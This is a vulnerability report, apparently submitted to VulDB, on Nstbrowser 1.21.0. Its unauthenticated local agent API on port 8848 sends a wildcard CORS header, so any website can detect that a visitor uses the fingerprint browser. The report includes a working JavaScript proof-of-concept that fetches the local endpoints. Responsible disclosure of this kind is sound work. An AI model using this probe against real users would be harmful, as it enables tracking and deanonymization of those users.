Submit #1025065: https://www.nstbrowser.io/en nstbroswer 1.21.0 sensitive logic exposure leading to fingerprint broswer track

## Vulnerability Description

When the software is running, it exposes an unauthenticated local HTTP service. Any web page can probe the local port and read the responses from `/agent/info` and `/browser/running`, allowing the page to determine whether the user is currently using the fingerprint browser. This is not limited to simple information disclosure; it directly enables browser fingerprinting from arbitrary websites.

## Vulnerability Mechanism

The issue is caused by three key implementation details:

1. The local service binds to a broad interface:

```text
listen_addr = "x.x.x.x"
listen_port = 8848
```

2. `/agent/info` and `/browser/running` are accessible without authentication:

```json
{
"status": "ok",
"data": {
"agent": "fingerprint-browser-agent",
"version": "1.0.0"
}
}
```

3. The service returns permissive CORS headers, allowing browser JavaScript to read cross-origin responses:

```text
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
```

As a result, when a user visits any web page, JavaScript on that page can send requests to the local port and read the returned JSON. If the response contains agent name, version, or running browser instance information, the page can infer that the user is using the fingerprint browser.

## Proof of Concept

To reproduce:

1. Start the software.
2. Open any website in the browser.
3. Execute the following JavaScript in the browser console:

```js
const base = "http://127.0.0.1:8848/api/agent";

const info = await fetch(`${base}/agent/info`, {
mode: "cors",
credentials: "omit",
cache: "no-store"
});

const running = await fetch(`${base}/browser/running`, {
mode: "cors",
credentials: "omit",
cache: "no-store"
});

console.log("agent/info:", await info.text());
console.log("browser/running:", await running.text());
```

4. Inspect the responses. If the page can read agent name, version, or running browser instance information, the local service is leaking information across origins and enables fingerprint-browser detection.

• Quelle: ⚠️ https://drive.google.com/drive/folders/135l_IZU955OmUNC5so83IiixlPPJp5X1?usp=drive_link
• Benutzer: PoriaMs (UID 101188)
• Einreichung: 12.10.2026 05:29 (vor 24 Tagen)
• Moderieren: 04.11.2026 15:46 (23 days later)
• Status: Akzeptiert
• VulDB Eintrag: 431091 [NST Labs Tech Nstbrowser 1.21.0 Local Agent API /agent/info Information Disclosure]
• Punkte: 20